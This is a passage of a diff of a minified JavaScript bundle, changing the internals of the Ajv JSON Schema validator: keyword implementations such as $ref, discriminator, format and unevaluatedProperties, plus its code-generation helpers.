"propertyNames", type: "object", schemaType: ["object", "boolean"], error: { message: "property name must be valid", params: ({ params: e12 }) => n8._`{propertyName: ${e12.propertyName}}` }, code(e12) { + const { gen: t10, schema: i9, data: o8, it: s7 } = e12; + if ((0, r8.alwaysValidSchema)(s7, i9)) + return; + const a7 = t10.name("valid"); + t10.forIn("key", o8, (i10) => { + e12.setParams({ propertyName: i10 }), e12.subschema({ keyword: "propertyNames", data: i10, dataTypes: ["string"], propertyName: i10, compositeRule: true }, a7), t10.if((0, n8.not)(a7), () => { + e12.error(true), s7.allErrors || t10.break(); + }); + }), e12.ok(a7); + } }; + t9.default = o7; + }, 45255: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(50458), r8 = { keyword: ["then", "else"], schemaType: ["object", "boolean"], code({ keyword: e12, parentSchema: t10, it: i9 }) { + void 0 === t10.if && (0, n8.checkStrictMode)(i9, `"${e12}" without "if" is ignored`); + } }; + t9.default = r8; + }, 94450: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.validateUnion = t9.validateArray = t9.usePattern = t9.callValidateCode = t9.schemaProperties = t9.allSchemaProperties = t9.noPropertyInData = t9.propertyInData = t9.isOwnProperty = t9.hasPropFunc = t9.reportMissingProp = t9.checkMissingProp = t9.checkReportMissingProp = void 0; + const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036), s7 = i8(50458); + function a7(e12) { + return e12.scopeValue("func", { ref: Object.prototype.hasOwnProperty, code: n8._`Object.prototype.hasOwnProperty` }); + } + function p7(e12, t10, i9) { + return n8._`${a7(e12)}.call(${t10}, ${i9})`; + } + function c7(e12, t10, i9, r9) { + const o8 = n8._`${t10}${(0, n8.getProperty)(i9)} === undefined`; + return r9 ? (0, n8.or)(o8, (0, n8.not)(p7(e12, t10, i9))) : o8; + } + function d7(e12) { + return e12 ? Object.keys(e12).filter((e13) => "__proto__" !== e13) : []; + } + t9.checkReportMissingProp = function(e12, t10) { + const { gen: i9, data: r9, it: o8 } = e12; + i9.if(c7(i9, r9, t10, o8.opts.ownProperties), () => { + e12.setParams({ missingProperty: n8._`${t10}` }, true), e12.error(); + }); + }, t9.checkMissingProp = function({ gen: e12, data: t10, it: { opts: i9 } }, r9, o8) { + return (0, n8.or)(...r9.map((r10) => (0, n8.and)(c7(e12, t10, r10, i9.ownProperties), n8._`${o8} = ${r10}`))); + }, t9.reportMissingProp = function(e12, t10) { + e12.setParams({ missingProperty: t10 }, true), e12.error(); + }, t9.hasPropFunc = a7, t9.isOwnProperty = p7, t9.propertyInData = function(e12, t10, i9, r9) { + const o8 = n8._`${t10}${(0, n8.getProperty)(i9)} !== undefined`; + return r9 ? n8._`${o8} && ${p7(e12, t10, i9)}` : o8; + }, t9.noPropertyInData = c7, t9.allSchemaProperties = d7, t9.schemaProperties = function(e12, t10) { + return d7(t10).filter((i9) => !(0, r8.alwaysValidSchema)(e12, t10[i9])); + }, t9.callValidateCode = function({ schemaCode: e12, data: t10, it: { gen: i9, topSchemaRef: r9, schemaPath: s8, errorPath: a8 }, it: p8 }, c8, d8, f9) { + const l7 = f9 ? n8._`${e12}, ${t10}, ${r9}${s8}` : t10, u7 = [[o7.default.instancePath, (0, n8.strConcat)(o7.default.instancePath, a8)], [o7.default.parentData, p8.parentData], [o7.default.parentDataProperty, p8.parentDataProperty], [o7.default.rootData, o7.default.rootData]]; + p8.opts.dynamicRef && u7.push([o7.default.dynamicAnchors, o7.default.dynamicAnchors]); + const m7 = n8._`${l7}, ${i9.object(...u7)}`; + return d8 !== n8.nil ? n8._`${c8}.call(${d8}, ${m7})` : n8._`${c8}(${m7})`; + }; + const f8 = n8._`new RegExp`; + t9.usePattern = function({ gen: e12, it: { opts: t10 } }, i9) { + const r9 = t10.unicodeRegExp ? "u" : "", { regExp: o8 } = t10.code, a8 = o8(i9, r9); + return e12.scopeValue("pattern", { key: a8.toString(), ref: a8, code: n8._`${"new RegExp" === o8.code ? f8 : (0, s7.useFunc)(e12, o8)}(${i9}, ${r9})` }); + }, t9.validateArray = function(e12) { + const { gen: t10, data: i9, keyword: o8, it: s8 } = e12, a8 = t10.name("valid"); + if (s8.allErrors) { + const e13 = t10.let("valid", true); + return p8(() => t10.assign(e13, false)), e13; } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(a7) ? a7 : void 0); + return t10.var(a8, true), p8(() => t10.break()), a8; + function p8(s9) { + const p9 = t10.const("len", n8._`${i9}.length`); + t10.forRange("i", 0, p9, (i10) => { + e12.subschema({ keyword: o8, dataProp: i10, dataPropType: r8.Type.Num }, a8), t10.if((0, n8.not)(a8), s9); + }); } - } - t9.Ajv2020 = p7, e11.exports = t9 = p7, e11.exports.Ajv2020 = p7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = p7; - var c7 = i8(96223); - Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { - return c7.KeywordCxt; - } }); - var d7 = i8(17898); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return d7._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return d7.str; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return d7.stringify; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return d7.nil; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return d7.Name; - } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { - return d7.CodeGen; - } }); - var f8 = i8(95031); - Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { - return f8.default; - } }); - var l7 = i8(85748); - Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { - return l7.default; - } }); - }, 11601: (e11, t9, i8) => { + }, t9.validateUnion = function(e12) { + const { gen: t10, schema: i9, keyword: o8, it: s8 } = e12; + if (!Array.isArray(i9)) + throw new Error("ajv implementation error"); + if (i9.some((e13) => (0, r8.alwaysValidSchema)(s8, e13)) && !s8.opts.unevaluated) + return; + const a8 = t10.let("valid", false), p8 = t10.name("_valid"); + t10.block(() => i9.forEach((i10, r9) => { + const s9 = e12.subschema({ keyword: o8, schemaProp: r9, compositeRule: true }, p8); + t10.assign(a8, n8._`${a8} || ${p8}`), e12.mergeValidEvaluated(s9, p8) || t10.if((0, n8.not)(a8)); + })), e12.result(a8, () => e12.reset(), () => e12.error(true)); + }; + }, 73946: (e11, t9) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv = void 0; - const n8 = i8(65319), r8 = i8(2431), o7 = i8(11672), s7 = i8(33928), a7 = ["/properties"], p7 = "http://json-schema.org/draft-07/schema"; - class c7 extends n8.default { - _addVocabularies() { - super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); + Object.defineProperty(t9, "__esModule", { value: true }); + const i8 = { keyword: "id", code() { + throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID'); + } }; + t9.default = i8; + }, 3839: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(73946), r8 = i8(26138), o7 = ["$schema", "$id", "$defs", "$vocabulary", { keyword: "$comment" }, "definitions", n8.default, r8.default]; + t9.default = o7; + }, 26138: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.callRef = t9.getValidate = void 0; + const n8 = i8(85748), r8 = i8(94450), o7 = i8(17898), s7 = i8(63036), a7 = i8(49392), p7 = i8(50458), c7 = { keyword: "$ref", schemaType: "string", code(e12) { + const { gen: t10, schema: i9, it: r9 } = e12, { baseId: s8, schemaEnv: p8, validateName: c8, opts: l7, self: u7 } = r9, { root: m7 } = p8; + if (("#" === i9 || "#/" === i9) && s8 === m7.baseId) + return function() { + if (p8 === m7) + return f8(e12, c8, p8, p8.$async); + const i10 = t10.scopeValue("root", { ref: m7 }); + return f8(e12, o7._`${i10}.validate`, m7, m7.$async); + }(); + const h8 = a7.resolveRef.call(u7, m7, s8, i9); + if (void 0 === h8) + throw new n8.default(r9.opts.uriResolver, s8, i9); + return h8 instanceof a7.SchemaEnv ? function(t11) { + const i10 = d7(e12, t11); + f8(e12, i10, t11, t11.$async); + }(h8) : function(n9) { + const r10 = t10.scopeValue("schema", true === l7.code.source ? { ref: n9, code: (0, o7.stringify)(n9) } : { ref: n9 }), s9 = t10.name("valid"), a8 = e12.subschema({ schema: n9, dataTypes: [], schemaPath: o7.nil, topSchemaRef: r10, errSchemaPath: i9 }, s9); + e12.mergeEvaluated(a8), e12.ok(s9); + }(h8); + } }; + function d7(e12, t10) { + const { gen: i9 } = e12; + return t10.validate ? i9.scopeValue("validate", { ref: t10.validate }) : o7._`${i9.scopeValue("wrapper", { ref: t10 })}.validate`; + } + function f8(e12, t10, i9, n9) { + const { gen: a8, it: c8 } = e12, { allErrors: d8, schemaEnv: f9, opts: l7 } = c8, u7 = l7.passContext ? s7.default.this : o7.nil; + function m7(e13) { + const t11 = o7._`${e13}.errors`; + a8.assign(s7.default.vErrors, o7._`${s7.default.vErrors} === null ? ${t11} : ${s7.default.vErrors}.concat(${t11})`), a8.assign(s7.default.errors, o7._`${s7.default.vErrors}.length`); } - _addDefaultMetaSchema() { - if (super._addDefaultMetaSchema(), !this.opts.meta) + function h8(e13) { + var t11; + if (!c8.opts.unevaluated) return; - const e12 = this.opts.$data ? this.$dataMetaSchema(s7, a7) : s7; - this.addMetaSchema(e12, p7, false), this.refs["http://json-schema.org/schema"] = p7; - } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(p7) ? p7 : void 0); + const n10 = null === (t11 = null == i9 ? void 0 : i9.validate) || void 0 === t11 ? void 0 : t11.evaluated; + if (true !== c8.props) + if (n10 && !n10.dynamicProps) + void 0 !== n10.props && (c8.props = p7.mergeEvaluated.props(a8, n10.props, c8.props)); + else { + const t12 = a8.var("props", o7._`${e13}.evaluated.props`); + c8.props = p7.mergeEvaluated.props(a8, t12, c8.props, o7.Name); + } + if (true !== c8.items) + if (n10 && !n10.dynamicItems) + void 0 !== n10.items && (c8.items = p7.mergeEvaluated.items(a8, n10.items, c8.items)); + else { + const t12 = a8.var("items", o7._`${e13}.evaluated.items`); + c8.items = p7.mergeEvaluated.items(a8, t12, c8.items, o7.Name); + } } + n9 ? function() { + if (!f9.$async) + throw new Error("async schema referenced by sync schema"); + const i10 = a8.let("valid"); + a8.try(() => { + a8.code(o7._`await ${(0, r8.callValidateCode)(e12, t10, u7)}`), h8(t10), d8 || a8.assign(i10, true); + }, (e13) => { + a8.if(o7._`!(${e13} instanceof ${c8.ValidationError})`, () => a8.throw(e13)), m7(e13), d8 || a8.assign(i10, false); + }), e12.ok(i10); + }() : e12.result((0, r8.callValidateCode)(e12, t10, u7), () => h8(t10), () => m7(t10)); } - t9.Ajv = c7, e11.exports = t9 = c7, e11.exports.Ajv = c7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = c7; - var d7 = i8(96223); - Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { - return d7.KeywordCxt; - } }); - var f8 = i8(17898); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return f8._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return f8.str; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return f8.stringify; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return f8.nil; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return f8.Name; - } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { - return f8.CodeGen; - } }); - var l7 = i8(95031); - Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { - return l7.default; - } }); - var u7 = i8(85748); - Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { - return u7.default; - } }); - }, 83277: (e11, t9) => { + t9.getValidate = d7, t9.callRef = f8, t9.default = c7; + }, 11672: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.regexpCode = t9.getEsmExportName = t9.getProperty = t9.safeStringify = t9.stringify = t9.strConcat = t9.addCodeArg = t9.str = t9._ = t9.nil = t9._Code = t9.Name = t9.IDENTIFIER = t9._CodeOrName = void 0; - class i8 { - } - t9._CodeOrName = i8, t9.IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i; - class n8 extends i8 { - constructor(e12) { - if (super(), !t9.IDENTIFIER.test(e12)) - throw new Error("CodeGen: name must be a valid identifier"); - this.str = e12; - } - toString() { - return this.str; - } - emptyStr() { - return false; - } - get names() { - return { [this.str]: 1 }; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(88925), o7 = i8(49392), s7 = i8(85748), a7 = i8(50458), p7 = { keyword: "discriminator", type: "object", schemaType: "object", error: { message: ({ params: { discrError: e12, tagName: t10 } }) => e12 === r8.DiscrError.Tag ? `tag "${t10}" must be string` : `value of tag "${t10}" must be in oneOf`, params: ({ params: { discrError: e12, tag: t10, tagName: i9 } }) => n8._`{error: ${e12}, tag: ${i9}, tagValue: ${t10}}` }, code(e12) { + const { gen: t10, data: i9, schema: p8, parentSchema: c7, it: d7 } = e12, { oneOf: f8 } = c7; + if (!d7.opts.discriminator) + throw new Error("discriminator: requires discriminator option"); + const l7 = p8.propertyName; + if ("string" != typeof l7) + throw new Error("discriminator: requires propertyName"); + if (p8.mapping) + throw new Error("discriminator: mapping is not supported"); + if (!f8) + throw new Error("discriminator: requires oneOf keyword"); + const u7 = t10.let("valid", false), m7 = t10.const("tag", n8._`${i9}${(0, n8.getProperty)(l7)}`); + function h8(i10) { + const r9 = t10.name("valid"), o8 = e12.subschema({ keyword: "oneOf", schemaProp: i10 }, r9); + return e12.mergeEvaluated(o8, n8.Name), r9; } + t10.if(n8._`typeof ${m7} == "string"`, () => function() { + const i10 = function() { + var e13; + const t11 = {}, i11 = r9(c7); + let n9 = true; + for (let t12 = 0; t12 < f8.length; t12++) { + let c8 = f8[t12]; + if ((null == c8 ? void 0 : c8.$ref) && !(0, a7.schemaHasRulesButRef)(c8, d7.self.RULES)) { + const e14 = c8.$ref; + if (c8 = o7.resolveRef.call(d7.self, d7.schemaEnv.root, d7.baseId, e14), c8 instanceof o7.SchemaEnv && (c8 = c8.schema), void 0 === c8) + throw new s7.default(d7.opts.uriResolver, d7.baseId, e14); + } + const u9 = null === (e13 = null == c8 ? void 0 : c8.properties) || void 0 === e13 ? void 0 : e13[l7]; + if ("object" != typeof u9) + throw new Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${l7}"`); + n9 = n9 && (i11 || r9(c8)), p9(u9, t12); + } + if (!n9) + throw new Error(`discriminator: "${l7}" must be required`); + return t11; + function r9({ required: e14 }) { + return Array.isArray(e14) && e14.includes(l7); + } + function p9(e14, t12) { + if (e14.const) + u8(e14.const, t12); + else { + if (!e14.enum) + throw new Error(`discriminator: "properties/${l7}" must have "const" or "enum"`); + for (const i12 of e14.enum) + u8(i12, t12); + } + } + function u8(e14, i12) { + if ("string" != typeof e14 || e14 in t11) + throw new Error(`discriminator: "${l7}" values must be unique strings`); + t11[e14] = i12; + } + }(); + t10.if(false); + for (const e13 in i10) + t10.elseIf(n8._`${m7} === ${e13}`), t10.assign(u7, h8(i10[e13])); + t10.else(), e12.error(false, { discrError: r8.DiscrError.Mapping, tag: m7, tagName: l7 }), t10.endIf(); + }(), () => e12.error(false, { discrError: r8.DiscrError.Tag, tag: m7, tagName: l7 })), e12.ok(u7); + } }; + t9.default = p7; + }, 88925: (e11, t9) => { + "use strict"; + var i8; + Object.defineProperty(t9, "__esModule", { value: true }), t9.DiscrError = void 0, function(e12) { + e12.Tag = "tag", e12.Mapping = "mapping"; + }(i8 || (t9.DiscrError = i8 = {})); + }, 64404: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(3839), r8 = i8(17851), o7 = i8(18225), s7 = i8(32485), a7 = i8(68774), p7 = i8(83076), c7 = i8(26699), d7 = i8(34882), f8 = [s7.default, n8.default, r8.default, (0, o7.default)(true), c7.default, d7.metadataVocabulary, d7.contentVocabulary, a7.default, p7.default]; + t9.default = f8; + }, 2431: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(3839), r8 = i8(17851), o7 = i8(18225), s7 = i8(26699), a7 = i8(34882), p7 = [n8.default, r8.default, (0, o7.default)(), s7.default, a7.metadataVocabulary, a7.contentVocabulary]; + t9.default = p7; + }, 68725: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.dynamicAnchor = void 0; + const n8 = i8(17898), r8 = i8(63036), o7 = i8(49392), s7 = i8(26138), a7 = { keyword: "$dynamicAnchor", schemaType: "string", code: (e12) => p7(e12, e12.schema) }; + function p7(e12, t10) { + const { gen: i9, it: a8 } = e12; + a8.schemaEnv.root.dynamicAnchors[t10] = true; + const p8 = n8._`${r8.default.dynamicAnchors}${(0, n8.getProperty)(t10)}`, c7 = "#" === a8.errSchemaPath ? a8.validateName : function(e13) { + const { schemaEnv: t11, schema: i10, self: n9 } = e13.it, { root: r9, baseId: a9, localRefs: p9, meta: c8 } = t11.root, { schemaId: d7 } = n9.opts, f8 = new o7.SchemaEnv({ schema: i10, schemaId: d7, root: r9, baseId: a9, localRefs: p9, meta: c8 }); + return o7.compileSchema.call(n9, f8), (0, s7.getValidate)(e13, f8); + }(e12); + i9.if(n8._`!${p8}`, () => i9.assign(p8, c7)); } - t9.Name = n8; - class r8 extends i8 { - constructor(e12) { - super(), this._items = "string" == typeof e12 ? [e12] : e12; - } - toString() { - return this.str; - } - emptyStr() { - if (this._items.length > 1) - return false; - const e12 = this._items[0]; - return "" === e12 || '""' === e12; + t9.dynamicAnchor = p7, t9.default = a7; + }, 36515: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.dynamicRef = void 0; + const n8 = i8(17898), r8 = i8(63036), o7 = i8(26138), s7 = { keyword: "$dynamicRef", schemaType: "string", code: (e12) => a7(e12, e12.schema) }; + function a7(e12, t10) { + const { gen: i9, keyword: s8, it: a8 } = e12; + if ("#" !== t10[0]) + throw new Error(`"${s8}" only supports hash fragment reference`); + const p7 = t10.slice(1); + if (a8.allErrors) + c7(); + else { + const t11 = i9.let("valid", false); + c7(t11), e12.ok(t11); } - get str() { - var e12; - return null !== (e12 = this._str) && void 0 !== e12 ? e12 : this._str = this._items.reduce((e13, t10) => `${e13}${t10}`, ""); + function c7(e13) { + if (a8.schemaEnv.root.dynamicAnchors[p7]) { + const t11 = i9.let("_v", n8._`${r8.default.dynamicAnchors}${(0, n8.getProperty)(p7)}`); + i9.if(t11, d7(t11, e13), d7(a8.validateName, e13)); + } else + d7(a8.validateName, e13)(); } - get names() { - var e12; - return null !== (e12 = this._names) && void 0 !== e12 ? e12 : this._names = this._items.reduce((e13, t10) => (t10 instanceof n8 && (e13[t10.str] = (e13[t10.str] || 0) + 1), e13), {}); + function d7(t11, n9) { + return n9 ? () => i9.block(() => { + (0, o7.callRef)(e12, t11), i9.let(n9, true); + }) : () => (0, o7.callRef)(e12, t11); } } - function o7(e12, ...t10) { - const i9 = [e12[0]]; - let n9 = 0; - for (; n9 < t10.length; ) - p7(i9, t10[n9]), i9.push(e12[++n9]); - return new r8(i9); - } - t9._Code = r8, t9.nil = new r8(""), t9._ = o7; - const s7 = new r8("+"); - function a7(e12, ...t10) { - const i9 = [d7(e12[0])]; - let n9 = 0; - for (; n9 < t10.length; ) - i9.push(s7), p7(i9, t10[n9]), i9.push(s7, d7(e12[++n9])); - return function(e13) { - let t11 = 1; - for (; t11 < e13.length - 1; ) { - if (e13[t11] === s7) { - const i10 = c7(e13[t11 - 1], e13[t11 + 1]); - if (void 0 !== i10) { - e13.splice(t11 - 1, 3, i10); - continue; + t9.dynamicRef = a7, t9.default = s7; + }, 32485: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(68725), r8 = i8(36515), o7 = i8(66792), s7 = i8(7688), a7 = [n8.default, r8.default, o7.default, s7.default]; + t9.default = a7; + }, 66792: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(68725), r8 = i8(50458), o7 = { keyword: "$recursiveAnchor", schemaType: "boolean", code(e12) { + e12.schema ? (0, n8.dynamicAnchor)(e12, "") : (0, r8.checkStrictMode)(e12.it, "$recursiveAnchor: false is ignored"); + } }; + t9.default = o7; + }, 7688: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(36515), r8 = { keyword: "$recursiveRef", schemaType: "string", code: (e12) => (0, n8.dynamicRef)(e12, e12.schema) }; + t9.default = r8; + }, 37072: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = { keyword: "format", type: ["number", "string"], schemaType: "string", $data: true, error: { message: ({ schemaCode: e12 }) => n8.str`must match format "${e12}"`, params: ({ schemaCode: e12 }) => n8._`{format: ${e12}}` }, code(e12, t10) { + const { gen: i9, data: r9, $data: o7, schema: s7, schemaCode: a7, it: p7 } = e12, { opts: c7, errSchemaPath: d7, schemaEnv: f8, self: l7 } = p7; + c7.validateFormats && (o7 ? function() { + const o8 = i9.scopeValue("formats", { ref: l7.formats, code: c7.code.formats }), s8 = i9.const("fDef", n8._`${o8}[${a7}]`), p8 = i9.let("fType"), d8 = i9.let("format"); + i9.if(n8._`typeof ${s8} == "object" && !(${s8} instanceof RegExp)`, () => i9.assign(p8, n8._`${s8}.type || "string"`).assign(d8, n8._`${s8}.validate`), () => i9.assign(p8, n8._`"string"`).assign(d8, s8)), e12.fail$data((0, n8.or)(false === c7.strictSchema ? n8.nil : n8._`${a7} && !${d8}`, function() { + const e13 = f8.$async ? n8._`(${s8}.async ? await ${d8}(${r9}) : ${d8}(${r9}))` : n8._`${d8}(${r9})`, i10 = n8._`(typeof ${d8} == "function" ? ${e13} : ${d8}.test(${r9}))`; + return n8._`${d8} && ${d8} !== true && ${p8} === ${t10} && !${i10}`; + }())); + }() : function() { + const o8 = l7.formats[s7]; + if (!o8) + return void function() { + if (false !== c7.strictSchema) + throw new Error(e13()); + function e13() { + return `unknown format "${s7}" ignored in schema at path "${d7}"`; } - e13[t11++] = "+"; + l7.logger.warn(e13()); + }(); + if (true === o8) + return; + const [a8, p8, u7] = function(e13) { + const t11 = e13 instanceof RegExp ? (0, n8.regexpCode)(e13) : c7.code.formats ? n8._`${c7.code.formats}${(0, n8.getProperty)(s7)}` : void 0, r10 = i9.scopeValue("formats", { key: s7, ref: e13, code: t11 }); + return "object" != typeof e13 || e13 instanceof RegExp ? ["string", e13, r10] : [e13.type || "string", e13.validate, n8._`${r10}.validate`]; + }(o8); + a8 === t10 && e12.pass(function() { + if ("object" == typeof o8 && !(o8 instanceof RegExp) && o8.async) { + if (!f8.$async) + throw new Error("async format in sync schema"); + return n8._`await ${u7}(${r9})`; } - t11++; + return "function" == typeof p8 ? n8._`${u7}(${r9})` : n8._`${u7}.test(${r9})`; + }()); + }()); + } }; + t9.default = r8; + }, 26699: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = [i8(37072).default]; + t9.default = n8; + }, 34882: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.contentVocabulary = t9.metadataVocabulary = void 0, t9.metadataVocabulary = ["title", "description", "default", "deprecated", "readOnly", "writeOnly", "examples"], t9.contentVocabulary = ["contentMediaType", "contentEncoding", "contentSchema"]; + }, 68774: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(51097), r8 = i8(90776), o7 = i8(87237), s7 = [n8.default, r8.default, o7.default]; + t9.default = s7; + }, 83076: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(36237), r8 = i8(76374), o7 = [n8.default, r8.default]; + t9.default = o7; + }, 76374: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "unevaluatedItems", type: "array", schemaType: ["boolean", "object"], error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { + const { gen: t10, schema: i9, data: o8, it: s7 } = e12, a7 = s7.items || 0; + if (true === a7) + return; + const p7 = t10.const("len", n8._`${o8}.length`); + if (false === i9) + e12.setParams({ len: a7 }), e12.fail(n8._`${p7} > ${a7}`); + else if ("object" == typeof i9 && !(0, r8.alwaysValidSchema)(s7, i9)) { + const i10 = t10.var("valid", n8._`${p7} <= ${a7}`); + t10.if((0, n8.not)(i10), () => function(i11, o9) { + t10.forRange("i", o9, p7, (o10) => { + e12.subschema({ keyword: "unevaluatedItems", dataProp: o10, dataPropType: r8.Type.Num }, i11), s7.allErrors || t10.if((0, n8.not)(i11), () => t10.break()); + }); + }(i10, a7)), e12.ok(i10); + } + s7.items = true; + } }; + t9.default = o7; + }, 36237: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036), s7 = { keyword: "unevaluatedProperties", type: "object", schemaType: ["boolean", "object"], trackErrors: true, error: { message: "must NOT have unevaluated properties", params: ({ params: e12 }) => n8._`{unevaluatedProperty: ${e12.unevaluatedProperty}}` }, code(e12) { + const { gen: t10, schema: i9, data: s8, errsCount: a7, it: p7 } = e12; + if (!a7) + throw new Error("ajv implementation error"); + const { allErrors: c7, props: d7 } = p7; + function f8(o8) { + if (false === i9) + return e12.setParams({ unevaluatedProperty: o8 }), e12.error(), void (c7 || t10.break()); + if (!(0, r8.alwaysValidSchema)(p7, i9)) { + const i10 = t10.name("valid"); + e12.subschema({ keyword: "unevaluatedProperties", dataProp: o8, dataPropType: r8.Type.Str }, i10), c7 || t10.if((0, n8.not)(i10), () => t10.break()); } - }(i9), new r8(i9); - } - function p7(e12, t10) { - var i9; - t10 instanceof r8 ? e12.push(...t10._items) : t10 instanceof n8 ? e12.push(t10) : e12.push("number" == typeof (i9 = t10) || "boolean" == typeof i9 || null === i9 ? i9 : d7(Array.isArray(i9) ? i9.join(",") : i9)); - } - function c7(e12, t10) { - if ('""' === t10) - return e12; - if ('""' === e12) - return t10; - if ("string" == typeof e12) { - if (t10 instanceof n8 || '"' !== e12[e12.length - 1]) - return; - return "string" != typeof t10 ? `${e12.slice(0, -1)}${t10}"` : '"' === t10[0] ? e12.slice(0, -1) + t10.slice(1) : void 0; } - return "string" != typeof t10 || '"' !== t10[0] || e12 instanceof n8 ? void 0 : `"${e12}${t10.slice(1)}`; - } - function d7(e12) { - return JSON.stringify(e12).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029"); - } - t9.str = a7, t9.addCodeArg = p7, t9.strConcat = function(e12, t10) { - return t10.emptyStr() ? e12 : e12.emptyStr() ? t10 : a7`${e12}${t10}`; - }, t9.stringify = function(e12) { - return new r8(d7(e12)); - }, t9.safeStringify = d7, t9.getProperty = function(e12) { - return "string" == typeof e12 && t9.IDENTIFIER.test(e12) ? new r8(`.${e12}`) : o7`[${e12}]`; - }, t9.getEsmExportName = function(e12) { - if ("string" == typeof e12 && t9.IDENTIFIER.test(e12)) - return new r8(`${e12}`); - throw new Error(`CodeGen: invalid export name: ${e12}, use explicit $id name mapping`); - }, t9.regexpCode = function(e12) { - return new r8(e12.toString()); - }; - }, 17898: (e11, t9, i8) => { + d7 instanceof n8.Name ? t10.if(n8._`${d7} !== true`, () => t10.forIn("key", s8, (e13) => t10.if(function(e14, t11) { + return n8._`!${e14} || !${e14}[${t11}]`; + }(d7, e13), () => f8(e13)))) : true !== d7 && t10.forIn("key", s8, (e13) => void 0 === d7 ? f8(e13) : t10.if(function(e14, t11) { + const i10 = []; + for (const r9 in e14) + true === e14[r9] && i10.push(n8._`${t11} !== ${r9}`); + return (0, n8.and)(...i10); + }(d7, e13), () => f8(e13))), p7.props = true, e12.ok(n8._`${a7} === ${o7.default.errors}`); + } }; + t9.default = s7; + }, 79520: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.or = t9.and = t9.not = t9.CodeGen = t9.operators = t9.varKinds = t9.ValueScopeName = t9.ValueScope = t9.Scope = t9.Name = t9.regexpCode = t9.stringify = t9.getProperty = t9.nil = t9.strConcat = t9.str = t9._ = void 0; - const n8 = i8(83277), r8 = i8(76930); - var o7 = i8(83277); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return o7._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return o7.str; - } }), Object.defineProperty(t9, "strConcat", { enumerable: true, get: function() { - return o7.strConcat; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return o7.nil; - } }), Object.defineProperty(t9, "getProperty", { enumerable: true, get: function() { - return o7.getProperty; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return o7.stringify; - } }), Object.defineProperty(t9, "regexpCode", { enumerable: true, get: function() { - return o7.regexpCode; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return o7.Name; - } }); - var s7 = i8(76930); - Object.defineProperty(t9, "Scope", { enumerable: true, get: function() { - return s7.Scope; - } }), Object.defineProperty(t9, 